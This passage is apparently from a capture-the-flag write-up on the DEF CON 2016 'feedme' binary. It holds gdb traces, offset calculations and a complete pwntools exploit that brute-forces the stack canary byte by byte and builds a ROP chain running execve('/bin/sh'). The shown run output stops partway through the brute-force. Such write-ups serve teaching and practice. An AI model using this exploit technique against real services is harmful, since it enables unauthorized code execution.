    0x8049084                  call   0x8048f6e
    0x8049089                  mov    DWORD PTR [esp+0x4], eax
```

```
threads ────
[#0] Id 1, Name: "feedme", stopped, reason: SINGLE STEP
```

```
trace ────
[#0] 0x8049072 → mov DWORD PTR [esp+0x8], 0x10
```

```
0x08049072 in ?? ()
gef➤  s
[ Legend: Modified register | Code | Heap | Stack | String ]
```

```
registers ────
```

```
$eax   : 0x37
$ebx   : 0x080481a8  →   push ebx
$ecx   : 0xffffcfec  →
"000000000000000000000000000000000000000000000000[...]"
$edx   : 0x37
$esp   : 0xffffcfd0  →  0xffffcfec  →
"000000000000000000000000000000000000000000000000[...]"
$ebp   : 0xffffd018  →  0x30303030 ("0000"?)
$esi   : 0x0
$edi   : 0x080ea00c  →  0x08067f90  →   mov edx, DWORD PTR [esp+0x4]
$eip   : 0x0804907a  →   mov DWORD PTR [esp+0x4], eax
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
```

```
stack ────
0xffffcfd0│+0x0000: 0xffffcfec  →
"000000000000000000000000000000000000000000000000[...]"     ← $esp
0xffffcfd4│+0x0004: 0x00000037 ("7"?)
0xffffcfd8│+0x0008: 0x00000010
0xffffcfdc│+0x000c: 0x0806ccb7  →   sub esp, 0x20
0xffffcfe0│+0x0010: 0x080ea200  →  0xfbad2887
0xffffcfe4│+0x0014: 0x080ea247  →  0x0eb4d40a
0xffffcfe8│+0x0018: 0x370ea248
0xffffcfec│+0x001c: "000000000000000000000000000000000000000000000000[...]"
```

```
code:x86:32 ────
    0x8049069                  call   0x8048e7e
    0x804906e                  movzx  eax, BYTE PTR [ebp-0x2d]
    0x8049072                  mov    DWORD PTR [esp+0x8], 0x10
 →  0x804907a                  mov    DWORD PTR [esp+0x4], eax
    0x804907e                  lea    eax, [ebp-0x2c]
    0x8049081                  mov    DWORD PTR [esp], eax
    0x8049084                  call   0x8048f6e
    0x8049089                  mov    DWORD PTR [esp+0x4], eax
    0x804908d                  mov    DWORD PTR [esp], 0x80be715
```

```
threads ────
[#0] Id 1, Name: "feedme", stopped, reason: SINGLE STEP
```

```
trace ────
[#0] 0x804907a → mov DWORD PTR [esp+0x4], eax
```

```
0x0804907a in ?? ()
gef➤  s
[ Legend: Modified register | Code | Heap | Stack | String ]
```

```
registers ────
$eax   : 0x37
$ebx   : 0x080481a8  →   push ebx
$ecx   : 0xffffcfec  →
"000000000000000000000000000000000000000000000000[...]"
$edx   : 0x37
```

```
$esp   : 0xffffcfd0  →  0xffffcfec  →
"00000000000000000000000000000000000000000000000000[...]"
$ebp   : 0xffffd018  →  0x30303030 ("0000"?)
$esi   : 0x0
$edi   : 0x080ea00c  →  0x08067f90  →   mov edx, DWORD PTR [esp+0x4]
$eip   : 0x0804907e  →   lea eax, [ebp-0x2c]
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
```

```
stack ────
0xffffcfd0│+0x0000: 0xffffcfec  →
"00000000000000000000000000000000000000000000000000[...]"     ← $esp
0xffffcfd4│+0x0004: 0x00000037 ("7"?)
0xffffcfd8│+0x0008: 0x00000010
0xffffcfdc│+0x000c: 0x0806ccb7  →   sub esp, 0x20
0xffffcfe0│+0x0010: 0x080ea200  →  0xfbad2887
0xffffcfe4│+0x0014: 0x080ea247  →  0x0eb4d40a
0xffffcfe8│+0x0018: 0x370ea248
0xffffcfec│+0x001c: "00000000000000000000000000000000000000000000000000[...]"
```

```
code:x86:32 ────
    0x804906e                  movzx  eax, BYTE PTR [ebp-0x2d]
    0x8049072                  mov    DWORD PTR [esp+0x8], 0x10
    0x804907a                  mov    DWORD PTR [esp+0x4], eax
 →  0x804907e                  lea    eax, [ebp-0x2c]
    0x8049081                  mov    DWORD PTR [esp], eax
    0x8049084                  call   0x8048f6e
    0x8049089                  mov    DWORD PTR [esp+0x4], eax
    0x804908d                  mov    DWORD PTR [esp], 0x80be715
    0x8049094                  call   0x804f700
```

```
threads ────
[#0] Id 1, Name: "feedme", stopped, reason: SINGLE STEP
```

```
trace ────
[#0] 0x804907e → lea eax, [ebp-0x2c]
```

```
0x0804907e in ?? ()
gef➤  s
[ Legend: Modified register | Code | Heap | Stack | String ]
```

```
registers ────
$eax   : 0xffffcfec  →
"00000000000000000000000000000000000000000000000000[...]"
$ebx   : 0x080481a8  →   push ebx
$ecx   : 0xffffcfec  →
"00000000000000000000000000000000000000000000000000[...]"
$edx   : 0x37
$esp   : 0xffffcfd0  →  0xffffcfec  →
"00000000000000000000000000000000000000000000000000[...]"
$ebp   : 0xffffd018  →  0x30303030 ("0000"?)
$esi   : 0x0
```

```
$edi   : 0x080ea00c  →  0x08067f90  →   mov edx, DWORD PTR [esp+0x4]
$eip   : 0x08049081  →   mov DWORD PTR [esp], eax
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
```

```
stack ────
0xffffcfd0│+0x0000: 0xffffcfec  →
"000000000000000000000000000000000000000000000000[...]"     ← $esp
0xffffcfd4│+0x0004: 0x00000037 ("7"?)
0xffffcfd8│+0x0008: 0x00000010
0xffffcfdc│+0x000c: 0x0806ccb7  →   sub esp, 0x20
0xffffcfe0│+0x0010: 0x080ea200  →  0xfbad2887
0xffffcfe4│+0x0014: 0x080ea247  →  0x0eb4d40a
0xffffcfe8│+0x0018: 0x370ea248
0xffffcfec│+0x001c: "000000000000000000000000000000000000000000000000[...]"
```

```
code:x86:32 ────
    0x8049072                  mov    DWORD PTR [esp+0x8], 0x10
    0x804907a                  mov    DWORD PTR [esp+0x4], eax
    0x804907e                  lea    eax, [ebp-0x2c]
 →  0x8049081                  mov    DWORD PTR [esp], eax
    0x8049084                  call   0x8048f6e
    0x8049089                  mov    DWORD PTR [esp+0x4], eax
    0x804908d                  mov    DWORD PTR [esp], 0x80be715
    0x8049094                  call   0x804f700
    0x8049099                  movzx  eax, BYTE PTR [ebp-0x2d]
```

```
threads ────
[#0] Id 1, Name: "feedme", stopped, reason: SINGLE STEP
```

```
trace ────
[#0] 0x8049081 → mov DWORD PTR [esp], eax
```

```
0x08049081 in ?? ()
gef➤  s
[ Legend: Modified register | Code | Heap | Stack | String ]
```

```
registers ────
$eax   : 0xffffcfec  →
"000000000000000000000000000000000000000000000000[...]"
$ebx   : 0x080481a8  →   push ebx
$ecx   : 0xffffcfec  →
"000000000000000000000000000000000000000000000000[...]"
$edx   : 0x37
$esp   : 0xffffcfd0  →  0xffffcfec  →
"000000000000000000000000000000000000000000000000[...]"
$ebp   : 0xffffd018  →  0x30303030 ("0000"?)
$esi   : 0x0
$edi   : 0x080ea00c  →  0x08067f90  →   mov edx, DWORD PTR [esp+0x4]
$eip   : 0x08049084  →  0xfffee5e8  →  0x00000000
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume
virtualx86 identification]
```

```
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
────────────────────────────────────────────────────────────────────────────
stack ────
0xffffcfd0│+0x0000: 0xffffcfec  →
"00000000000000000000000000000000000000000000000000[...]"     ← $esp
0xffffcfd4│+0x0004: 0x00000037 ("7"?)
0xffffcfd8│+0x0008: 0x00000010
0xffffcfdc│+0x000c: 0x0806ccb7  →   sub esp, 0x20
0xffffcfe0│+0x0010: 0x080ea200  →  0xfbad2887
0xffffcfe4│+0x0014: 0x080ea247  →  0x0eb4d40a
0xffffcfe8│+0x0018: 0x370ea248
0xffffcfec│+0x001c: "00000000000000000000000000000000000000000000000000[...]"
────────────────────────────────────────────────────────────────────────────
code:x86:32 ────
    0x804907a                    mov    DWORD PTR [esp+0x4], eax
    0x804907e                    lea    eax, [ebp-0x2c]
    0x8049081                    mov    DWORD PTR [esp], eax
 →  0x8049084                    call   0x8048f6e
   ↳   0x8048f6e                    push   ebp
       0x8048f6f                    mov    ebp, esp
       0x8048f71                    push   ebx
       0x8048f72                    sub    esp, 0x1c
       0x8048f75                    mov    edx, DWORD PTR [ebp+0xc]
       0x8048f78                    mov    eax, DWORD PTR [ebp+0x10]
────────────────────────────────────────────────────────────────────────────
arguments (guessed) ────
0x8048f6e (
   [sp + 0x0] = 0xffffcfec →
"00000000000000000000000000000000000000000000000000[...]"
)
────────────────────────────────────────────────────────────────────────────
threads ────
[#0] Id 1, Name: "feedme", stopped, reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────────
trace ────
[#0] 0x8049084 → call 0x8048f6e
────────────────────────────────────────────────────────────────────────────

Thread 2.1 "feedme" hit Breakpoint 3, 0x08049084 in ?? ()
gef➤  s
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────
registers ────
$eax   : 0xffffcfec  →
"00000000000000000000000000000000000000000000000000[...]"
$ebx   : 0x080481a8  →   push ebx
$ecx   : 0xffffcfec  →
"00000000000000000000000000000000000000000000000000[...]"
$edx   : 0x37
$esp   : 0xffffcfcc  →  0x08049089  →   mov DWORD PTR [esp+0x4], eax
$ebp   : 0xffffd018  →  0x30303030 ("0000"?)
$esi   : 0x0
$edi   : 0x080ea00c  →  0x08067f90  →   mov edx, DWORD PTR [esp+0x4]
```

```
$eip   : 0x08048f6e  →   push ebp
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
```

```
stack ─────
0xffffcfcc│+0x0000: 0x08049089  →   mov DWORD PTR [esp+0x4], eax     ← $esp
0xffffcfd0│+0x0004: 0xffffcfec  →
"000000000000000000000000000000000000000000000000[...]"
0xffffcfd4│+0x0008: 0x00000037 ("7"?)
0xffffcfd8│+0x000c: 0x00000010
0xffffcfdc│+0x0010: 0x0806ccb7  →   sub esp, 0x20
0xffffcfe0│+0x0014: 0x080ea200  →  0xfbad2887
0xffffcfe4│+0x0018: 0x080ea247  →  0x0eb4d40a
0xffffcfe8│+0x001c: 0x370ea248
```

```
code:x86:32 ─────
    0x8048f69                  add    eax, 0x57
    0x8048f6c                  leave
    0x8048f6d                  ret
 →  0x8048f6e                  push   ebp
    0x8048f6f                  mov    ebp, esp
    0x8048f71                  push   ebx
    0x8048f72                  sub    esp, 0x1c
    0x8048f75                  mov    edx, DWORD PTR [ebp+0xc]
    0x8048f78                  mov    eax, DWORD PTR [ebp+0x10]
```

```
threads ─────
[#0] Id 1, Name: "feedme", stopped, reason: SINGLE STEP
```

```
trace ─────
[#0] 0x8048f6e → push ebp
[#1] 0x8049089 → mov DWORD PTR [esp+0x4], eax
```

```
0x08048f6e in ?? ()
gef➤  finish
Run till exit from #0  0x08048f6e in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
```

```
registers ─────
$eax   : 0x080ebf40  →  "30303030303030303030303030303030..."
$ebx   : 0x080481a8  →   push ebx
$ecx   : 0xffffcfec  →
"000000000000000000000000000000000000000000000000[...]"
$edx   : 0xffffcfec  →
"000000000000000000000000000000000000000000000000[...]"
$esp   : 0xffffcfd0  →  0xffffcfec  →
"000000000000000000000000000000000000000000000000[...]"
$ebp   : 0xffffd018  →  0x30303030 ("0000"?)
$esi   : 0x0
$edi   : 0x080ea00c  →  0x08067f90  →   mov edx, DWORD PTR [esp+0x4]
$eip   : 0x08049089  →   mov DWORD PTR [esp+0x4], eax
$eflags: [zero carry parity ADJUST SIGN trap INTERRUPT direction overflow resume
```

```
virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
```

```
stack ────
0xffffcfd0│+0x0000: 0xffffcfec  →
"00000000000000000000000000000000000000000000000[...]"     ← $esp
0xffffcfd4│+0x0004: 0x00000037 ("7"?)
0xffffcfd8│+0x0008: 0x00000010
0xffffcfdc│+0x000c: 0x0806ccb7  →   sub esp, 0x20
0xffffcfe0│+0x0010: 0x080ea200  →  0xfbad2887
0xffffcfe4│+0x0014: 0x080ea247  →  0x0eb4d40a
0xffffcfe8│+0x0018: 0x370ea248
0xffffcfec│+0x001c: "00000000000000000000000000000000000000000000000[...]"
```

```
code:x86:32 ────
    0x804907e                  lea    eax, [ebp-0x2c]
    0x8049081                  mov    DWORD PTR [esp], eax
    0x8049084                  call   0x8048f6e
 →  0x8049089                  mov    DWORD PTR [esp+0x4], eax
    0x804908d                  mov    DWORD PTR [esp], 0x80be715
    0x8049094                  call   0x804f700
    0x8049099                  movzx  eax, BYTE PTR [ebp-0x2d]
    0x804909d                  mov    edx, DWORD PTR [ebp-0xc]
    0x80490a0                  xor    edx, DWORD PTR gs:0x14
```

```
threads ────
[#0] Id 1, Name: "feedme", stopped, reason: TEMPORARY BREAKPOINT
```

```
trace ────
[#0] 0x8049089 → mov DWORD PTR [esp+0x4], eax
```

```
0x08049089 in ?? ()
gef➤  x/5w $eax
0x80ebf40:    0x30333033    0x30333033    0x30333033    0x30333033
0x80ebf50:    0x30333033
gef➤  x/6w $eax
0x80ebf40:    0x30333033    0x30333033    0x30333033    0x30333033
0x80ebf50:    0x30333033    0x30333033
gef➤  x/50w $eax
0x80ebf40:    0x30333033    0x30333033    0x30333033    0x30333033
0x80ebf50:    0x30333033    0x30333033    0x30333033    0x30333033
0x80ebf60:    0x2e2e2e    0x0    0x0    0x0
0x80ebf70:    0x0    0x0    0x0    0x0
0x80ebf80:    0x0    0x0    0x0    0x0
0x80ebf90:    0x0    0x0    0x0    0x0
0x80ebfa0:    0x0    0x0    0x0    0x0
0x80ebfb0:    0x0    0x0    0x0    0x0
0x80ebfc0:    0x0    0x0    0x0    0x0
0x80ebfd0:    0x0    0x0    0x0    0x0
0x80ebfe0:    0x0    0x0    0x0    0x0
0x80ebff0:    0x0    0x0    0x0    0x0
0x80ec000:    0x0    0x0
gef➤  c
```

```
Continuing.
ATE 30303030303030303030303030303030...
*** stack smashing detected ***: /Hackery/pod/modules/bof_static
/dcquals16_feedme/feedme terminated
```

So we can see that the last function returned a pointer which was `16` bytes of our input converted to ASCII, which was then printed. Let's see what the offset from our input to the stack canary and the return address:

```
gef➤  set follow-fork-mode child
gef➤  b *0x8049069
Breakpoint 1 at 0x8049069
gef➤  r
Starting program: /Hackery/pod/modules/bof_static/dcquals16_feedme/feedme
[New process 15394]
FEED ME!
0
[Switching to process 15394]
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────
registers ────
$eax   : 0xffffcfec  →  0x00000000
$ebx   : 0x080481a8  →   push ebx
$ecx   : 0xffffcfbb  →  0x00000130
$edx   : 0x1
$esp   : 0xffffcfd0  →  0xffffcfec  →  0x00000000
$ebp   : 0xffffd018  →  0xffffd048  →  0xffffd068  →  0x08049970  →   push ebx
$esi   : 0x0
$edi   : 0x080ea00c  →  0x08067f90  →   mov edx, DWORD PTR [esp+0x4]
$eip   : 0x08049069  →  0xfffe10e8  →  0x00000000
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
────────────────────────────────────────────────────────────────────────────────
stack ────
0xffffcfd0│+0x0000: 0xffffcfec  →  0x00000000     ← $esp
0xffffcfd4│+0x0004: 0x00000030 ("0"?)
0xffffcfd8│+0x0008: 0x00000000
0xffffcfdc│+0x000c: 0x0806ccb7  →   sub esp, 0x20
0xffffcfe0│+0x0010: 0x080ea200  →  0xfbad2887
0xffffcfe4│+0x0014: 0x080ea247  →  0x0eb4d40a
0xffffcfe8│+0x0018: 0x300ea248
0xffffcfec│+0x001c: 0x00000000
────────────────────────────────────────────────────────────────────────────────
code:x86:32 ────
    0x804905f                  mov    DWORD PTR [esp+0x4], eax
    0x8049063                  lea    eax, [ebp-0x2c]
    0x8049066                  mov    DWORD PTR [esp], eax
 →  0x8049069                  call   0x8048e7e
   ↳   0x8048e7e                  push   ebp
       0x8048e7f                  mov    ebp, esp
       0x8048e81                  sub    esp, 0x28
       0x8048e84                  mov    eax, DWORD PTR [ebp+0xc]
       0x8048e87                  mov    DWORD PTR [ebp-0x14], eax
       0x8048e8a                  mov    DWORD PTR [ebp-0x10], 0x0
──────────────────────────────────────────────────────────────────────────
arguments (guessed) ────
0x8048e7e (
)
────────────────────────────────────────────────────────────────────────────────
threads ────
```

```
[#0] Id 1, Name: "feedme", stopped, reason: BREAKPOINT
─────────────────────────────────────────────────────────────
trace ────
[#0] 0x8049069 → call 0x8048e7e
[#1] 0x80490dc → movzx eax, al
[#2] 0x80491da → mov eax, 0x0
[#3] 0x80493ba → mov DWORD PTR [esp], eax
[#4] 0x8048d2b → hlt
─────────────────────────────────────────────────────────────
```

```
Thread 2.1 "feedme" hit Breakpoint 1, 0x08049069 in ?? ()
gef➤
gef➤  x/4w $esp
0xffffcfd0:    0xffffcfec    0x30    0x0    0x806ccb7
gef➤  x/50w 0xffffcfec
0xffffcfec:    0x0    0x2710    0x0    0x0
0xffffcffc:    0x0    0x80ea0a0    0x0    0x0
0xffffd00c:    0x6e6a7000    0x0    0x80ea00c    0xffffd048
0xffffd01c:    0x80490dc    0x80ea0a0    0x0    0x80ed840
0xffffd02c:    0x804f8b4    0x0    0x0    0x0
0xffffd03c:    0x80481a8    0x80481a8    0x0    0xffffd068
0xffffd04c:    0x80491da    0x80ea0a0    0x0    0x2
0xffffd05c:    0x0    0x0    0x80ea00c    0x8049970
0xffffd06c:    0x80493ba    0x1    0xffffd0f4    0xffffd0fc
0xffffd07c:    0x0    0x0    0x80481a8    0x0
0xffffd08c:    0x80ea00c    0x8049970    0x16400ab0    0xe0c61b5f
0xffffd09c:    0x0    0x0    0x0    0x0
0xffffd0ac:    0x0    0x0
gef➤  i f
Stack level 0, frame at 0xffffd020:
 eip = 0x8049069; saved eip = 0x80490dc
 called by frame at 0xffffd050
 Arglist at 0xffffd018, args:
 Locals at 0xffffd018, Previous frame's sp is 0xffffd020
 Saved registers:
  ebp at 0xffffd018, eip at 0xffffd01c
```

We can see that our input is being scanned in starting at `0xffffcfec`. We can see that the return address is at `0xffffd01c`. We can also see that the stack canary is `0x6e6a7000` at `0xffffd00c` (we can tell this since stack canaries in `x86` are 4 byte random values, with the last value being a null byte). Doing a bit of python math we can find the offsets:

```
$    python
Python 2.7.15+ (default, Nov 27 2018, 23:36:35)
[GCC 7.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(0xffffd01c - 0xffffcfec)
'0x30'
>>> hex(0xffffd00c - 0xffffcfec)
'0x20'
```

So we can see that the offset to the stack canary is `0x20` bytes, and that the offset to the return address is `0x30` bytes. Both are well within the reach of our buffer overflow. Lastly let's see where the `feedMeFunc` function is called. We can see the backtrace using gdb:

```
gef➤  r
Starting program: /Hackery/pod/modules/bof_static/dcquals16_feedme/feedme
FEED ME!
^C
Program received signal SIGINT, Interrupt.
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────── registers ────
$eax   : 0xfffffe00
$ebx   : 0x3d9c
$ecx   : 0xffffd030  →  0x00000000
$edx   : 0x0
$esp   : 0xffffd008  →  0xffffd048  →  0xffffd068  →  0x08049970  →   push ebx
$ebp   : 0xffffd048  →  0xffffd068  →  0x08049970  →   push ebx
$esi   : 0x0
$edi   : 0x080ea00c  →  0x08067f90  →   mov edx, DWORD PTR [esp+0x4]
$eip   : 0xf7ffd059  →  <__kernel_vsyscall+9> pop ebp
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
──────────────────────────────────────────────────────────────────── stack ────
0xffffd008│+0x0000: 0xffffd048  →  0xffffd068  →  0x08049970  →   push ebx     ←
$esp
0xffffd00c│+0x0004: 0x00000000
0xffffd010│+0x0008: 0xffffd030  →  0x00000000
0xffffd014│+0x000c: 0x0806cc02  →   pop ebx
0xffffd018│+0x0010: 0x080481a8  →   push ebx
0xffffd01c│+0x0014: 0x0804910e  →   mov DWORD PTR [ebp-0xc], eax
0xffffd020│+0x0018: 0x00003d9c
0xffffd024│+0x001c: 0xffffd030  →  0x00000000
────────────────────────────────────────────────────────────── code:x86:32 ────
   0xf7ffd053 <__kernel_vsyscall+3> mov    ebp, esp
   0xf7ffd055 <__kernel_vsyscall+5> sysenter
   0xf7ffd057 <__kernel_vsyscall+7> int    0x80
 → 0xf7ffd059 <__kernel_vsyscall+9> pop    ebp
   0xf7ffd05a <__kernel_vsyscall+10> pop    edx
   0xf7ffd05b <__kernel_vsyscall+11> pop    ecx
   0xf7ffd05c <__kernel_vsyscall+12> ret
   0xf7ffd05d                  nop
   0xf7ffd05e                  nop
────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "feedme", stopped, reason: SIGINT
──────────────────────────────────────────────────────────────────── trace ────
[#0] 0xf7ffd059 → __kernel_vsyscall()
[#1] 0x806cc02 → pop ebx
[#2] 0x804910e → mov DWORD PTR [ebp-0xc], eax
[#3] 0x80491da → mov eax, 0x0
[#4] 0x80493ba → mov DWORD PTR [esp], eax
[#5] 0x8048d2b → hlt
───────────────────────────────────────────────────────────────────────────────
0xf7ffd059 in __kernel_vsyscall ()
gef➤  bt
#0  0xf7ffd059 in __kernel_vsyscall ()
```

```
#1  0x0806cc02 in ?? ()
#2  0x0804910e in ?? ()
#3  0x080491da in ?? ()
#4  0x080493ba in ?? ()
#5  0x08048d2b in ?? ()
```

Going through the backtrace leads us to the following function:

```
void parentLoop(void)

{
  int iVar1;
  uint uVar2;
  int check;
  uint i;

  check = 0;
  i = 0;
  while( true ) {
    if (799 < i) {
      return;
    }
    iVar1 = FUN_0806cc70();
    if (iVar1 == 0) break;
    iVar1 = callChild(iVar1,&check,0);
    if (iVar1 == -1) {
      puts("Wait error!");
      FUN_0804ed20(0xffffffff);
    }
    if (check == -1) {
      puts("Child IO error!");
      FUN_0804ed20(0xffffffff);
    }
    puts("Child exit.");
    FUN_0804fa20(0);
    i = i + 1;
  }
  uVar2 = feedMeFunc();
  printf("YUM, got %d bytes!\n",uVar2 & 0xff);
  return;
}
```

So we can see it is calling the function responsible for setting up a child process in a loop that will run for `800` times. That means that we can crash a child process a lot of times (around `800`) before the program exits on us.

Exploitation

Stack Canary

So we have the ability to overwrite the return address. The only thing stopping us other than the NX is the stack canary. However we can brute force it. Thing is, all of the child processes will share the same canary. For the canary it will have 4 bytes, one null byte and three random bytes (so only three bytes that we don't know).

What we can do is overwrite the stack canary one byte at a time. The byte we overwrite it with will essentially be a guess. If the child process dies we know that it was incorrect, and if it doesn't, then we will know that our guess was correct. There are `256` different values that byte be, and since there are three bytes we are guessing that gives us `256*3 = 768` possible guesses to guess every combination if we guess one byte at a time (which can be done by only overwriting one byte at a time). With that we can deal with the stack canary.

ROP Chain

After that, we will have the stack canary and nothing will be able to stop us from getting code execution. Then the question comes up of what to execute. NX is turned on, so we can't jump to shellcode we place on the stack. However the elf doesn't have PIE (randomizes the address of code) enabled, so building a ROP chain without an infoleak is possible. For this ROP Chain, I will be making a syscall to /bin/sh, which would grant us a shell.

First we look for ROP gadgets using the tool ROPgadget (since this is a statically linked binary, there will be a lot of gadgets):

```
$    python ROPgadget.py --binary feedme
```

Looking through the list of ROP gadgets, we see a few useful gadgets:

```
0x0807be31 : mov dword ptr [eax], edx ; ret
```

This gadget is extremely useful. What this will allow us to do is move the contents of the edx register into the area of space pointed to by the address of eax, then return. So if we wanted to write to the address 1234, we could load that address into eax, and the value we wanted to write into the edx register, then call this gadget.

```
0x080bb496 : pop eax ; ret
```

This gadget is helpful since it will allow us to pop a value off of the stack into the eax register to use, then return to allow us to continue the ROP Chain.

```
0x0806f34a : pop edx ; ret
```

This gadget is similar to the previous one, except it is with the edx register instead of the eax register.

```
0x0806f371 : pop ecx ; pop ebx ; ret
```

This gadget is so we can control the value of the ecx register. Unfortunately there are no gadgets that will just pop a value into the ecx register then return, so this is the next best thing (using this gadget will save us not having to use another gadget when we pop a value into the ebx register however).

```
0x08049761 : int 0x80
```

This gadget is a syscall, which will allow us to make a syscall to the kernell to get a shell (to get a syscall in x86, you can call int 0x80). Syscall will expect three arguments, the interger 11 in eax for the syscall number, the bss address 0x80eb928 in the ebx register for the address of the command, and the value 0x0 in ecx and edx registers (syscall will look for arguments in those registers, however we don't need them so we should just set them to null). For more info on syscalls check out https://en.wikibooks.org/wiki/X86_Assembly/Interfacing_with_Linux

Now we are going to have to write the string /bin/sh somewhere in memory, at an address that we know in order to pass it as an argument it the syscall. What we can do for this, is to write it to the bss address `0x80eb928`. Since it is in the bss, it will have a static address, so we don't need an infoleak to write to and call it.

With that, we get the following ROP Chain:

```
# This is to write the string '/bin' to the bss address 0x80eb928. Since this is
32 bit, registers can only hold 4 bytes, so we can only write 4 characters at a
time
payload += p32(0x080bb496)    # pop eax ; ret
payload += p32(0x80eb928)    # bss address
payload += p32(0x0806f34a)    # pop edx
payload    += p32(0x6e69622f)    # /bin string in hex, in little endian
payload += p32(0x0807be31)    # mov dword ptr [eax], edx ; ret

# Write the second half of the string '/bin/sh' the '/sh' to 0x80eb928 + 0x4
payload += p32(0x080bb496)    # pop eax ; ret
payload += p32(0x80eb928 + 0x4)    # bss address + 0x4 to write after '/bin'
payload += p32(0x0806f34a)    # pop edx
payload    += p32(0x0068732f)    # /sh string in hex, in little endian
payload += p32(0x0807be31)    # mov dword ptr [eax], edx ; ret

# Now that we have the string '/bin/sh' written to 0x80eb928, we can load the
appropriate values into the eax, ecx, edx, and ebx registers and make the
syscall.
payload += p32(0x080bb496)    # pop eax ; ret
payload += p32(0xb)            # 11
payload += p32(0x0806f371)    # pop ecx ; pop ebx ; ret
payload += p32(0x0)            # 0x0
payload += p32(0x80eb928)    # bss address
payload += p32(0x0806f34a)    # pop edx ; ret
payload += p32(0x0)            # 0x0
payload += p32(0x8049761)    # syscall
```

Exploit

Putting it all together, we get the following exploit:

```
# This is based off of a Raytheon SI Govs talk

# First we import pwntools
from pwn import *

# Here is the function to brute force the canary
def breakCanary():
    # We know that the first byte of the stack canary has to be \x00 since it is
null terminated, keep the values we know for the canary in known_canary
    known_canary = "\x00"
    # Ascii representation of the canary
    hex_canary = "00"
    # The current canary which will be incremented
    canary = 0x0
    # The number of bytes we will give as input
    inp_bytes = 0x22
    # Iterate 3 times for the three bytes we need to brute force
    for j in range(0, 3):
        # Iterate up to 0xff times to brute force all posible values for byte
        for i in xrange(0xff):
            log.info("Trying canary: " + hex(canary) + hex_canary)

            # Send the current input size
            target.send(p32(inp_bytes)[0])

            # Send this iterations canary
            target.send("0"*0x20 + known_canary + p32(canary)[0])

            # Scan in the output, determine if we have a correct value
            output = target.recvuntil("exit.")
            if "YUM" in output:
                # If we have a correct value, record the canary value, reset the
canary value, and move on
                print "next byte is: " + hex(canary)
                known_canary = known_canary + p32(canary)[0]
                inp_bytes = inp_bytes + 1
                new_canary = hex(canary)
                new_canary = new_canary.replace("0x", "")
                hex_canary = new_canary + hex_canary
                canary = 0x0
                break
            else:
                # If this isn't the canary value, increment canary by one and
move onto next loop
                canary = canary + 0x1

    # Return the canary
    return int(hex_canary, 16)

# Start the target process
target = process('./feedme')
#gdb.attach(target)
```

```
# Brute force the canary
canary = breakCanary()
log.info("The canary is: " + hex(canary))


# Now that we have the canary, we can start making our final payload

# This will cover the space up to, and including the canary
payload = "0"*0x20 + p32(canary)

# This will cover the rest of the space between the canary and the return
address
payload += "1"*0xc

# Start putting together the ROP Chain

# This is to write the string '/bin' to the bss address 0x80eb928. Since this is
32 bit, registers can only hold 4 bytes, so we can only write 4 characters at a
time
payload += p32(0x080bb496)    # pop eax ; ret
payload += p32(0x80eb928)    # bss address
payload += p32(0x0806f34a)    # pop edx
payload    += p32(0x6e69622f)    # /bin string in hex, in little endian
payload += p32(0x0807be31)    # mov dword ptr [eax], edx ; ret

# Write the second half of the string '/bin/sh' the '/sh' to 0x80eb928 + 0x4
payload += p32(0x080bb496)    # pop eax ; ret
payload += p32(0x80eb928 + 0x4)    # bss address + 0x4 to write after '/bin'
payload += p32(0x0806f34a)    # pop edx
payload    += p32(0x0068732f)    # /sh string in hex, in little endian
payload += p32(0x0807be31)    # mov dword ptr [eax], edx ; ret

# Now that we have the string '/bin/sh' written to 0x80eb928, we can load the
appropriate values into the eax, ecx, edx, and ebx registers and make the
syscall.
payload += p32(0x080bb496)    # pop eax ; ret
payload += p32(0xb)            # 11
payload += p32(0x0806f371)    # pop ecx ; pop ebx ; ret
payload += p32(0x0)            # 0x0
payload += p32(0x80eb928)    # bss address
payload += p32(0x0806f34a)    # pop edx ; ret
payload += p32(0x0)            # 0x0
payload += p32(0x8049761)    # syscall

# Send the amount of bytes for our payload, and the payload itself
target.send("\x78")
target.send(payload)

# Drop to an interactive shell
target.interactive()
```

When we run the exploit:

```
$    python exploit.py
[+] Starting local process './feedme': pid 16881
[*] Trying canary: 0x000
[*] Trying canary: 0x100
[*] Trying canary: 0x200
[*] Trying canary: 0x300
[*] Trying canary: 0x400
[*] Trying canary: 0x500
[*] Trying canary: 0x600
[*] Trying canary: 0x700
[*] Trying canary: 0x800
[*] Trying canary: 0x900

.    .    .

[*] Trying canary: 0xcfcb2200
[*] Trying canary: 0xd0cb2200
[*] Trying canary: 0xd1cb2200
[*] Trying canary: 0xd2cb2200
[*] Trying canary: 0xd3cb2200
